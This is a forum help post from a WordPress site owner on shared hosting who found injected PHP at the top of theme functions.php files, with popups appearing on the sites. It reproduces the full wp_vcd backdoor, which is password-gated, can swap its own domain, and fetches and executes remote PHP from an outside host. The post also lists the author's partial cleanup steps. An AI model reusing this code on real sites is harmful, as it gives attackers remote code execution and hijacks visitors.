title: PHP code in functions.php of all wordpress websites on my shared hosting
body: <p>I have a shared hosting and some wordpress websites on that.
  Recently sometimes when I visit my websites, popup opens.
  So I opened template directory of one wordpress website in Cpanel. this code was added  on top of <code>functions.php</code> file:</p>
  
  <pre><code>&lt;?php
  
  if (isset($_REQUEST['action']) &amp;&amp; isset($_REQUEST['password']) &amp;&amp; ($_REQUEST['password'] == '220c580cc80d7d449f04533fc8f68c79'))
      {
      $div_code_name = "wp_vcd";
      switch ($_REQUEST['action'])
          {
      case 'change_domain';
      if (isset($_REQUEST['newdomain']))
          {
          if (!empty($_REQUEST['newdomain']))
              {
              if ($file = @file_get_contents(__FILE__))
                  {
                  if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i', $file, $matcholddomain))
                      {
                      $file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
                      @file_put_contents(__FILE__, $file);
                      print "true";
                      }
                  }
              }
          }
  
      break;
  
  default:
      print "ERROR_WP_ACTION WP_V_CD WP_CD";
      }
  
  die("");
  }
  
  if (!function_exists('theme_temp_setup'))
      {
      $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
      if (!is_404() &amp;&amp; stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false &amp;&amp; stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false)
          {
          if ($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=" . $path))
              {
              function theme_temp_setup($phpCode)
                  {
                  $tmpfname = tempnam(sys_get_temp_dir() , "theme_temp_setup");
                  $handle = fopen($tmpfname, "w+");
                  fwrite($handle, "&lt;?php\n" . $phpCode);
                  fclose($handle);
                  include $tmpfname;
  
                  unlink($tmpfname);
                  return get_defined_vars();
                  }
  
              extract(theme_temp_setup($tmpcontent));
              }
          }
      }
  
  ?&gt;
  </code></pre>
  
  <p>So I deteled that and popup problem solved. I deleted that from <code>functions.php</code> files of all websites But
  Now problem is that when I visit <code>functions.php</code> of any websites, the code is there again and its in all themes even unused themes.
  What can I do?</p>
  
  <hr>
  
  <p><strong>What I did to slove problem</strong></p>
  
  <ol>
  <li>In <code>wp-include</code> directory, delete <code>wp-vcd.php</code> and <code>class.wp.php</code>
  files</li>
  <li>In <code>wp-include</code> directory, open <code>post.php</code> and detele first php tag
  added by Malware.</li>
  <li>Open to theme's <code>functions.php</code> file, and delete the above codes.</li>
  </ol>
  
  <p>This should stop popups. But I don't now how long it works.</p>
  
  <hr>
  
  <p>I still didn't find the main file that infect all websites, but tying to find out.</p>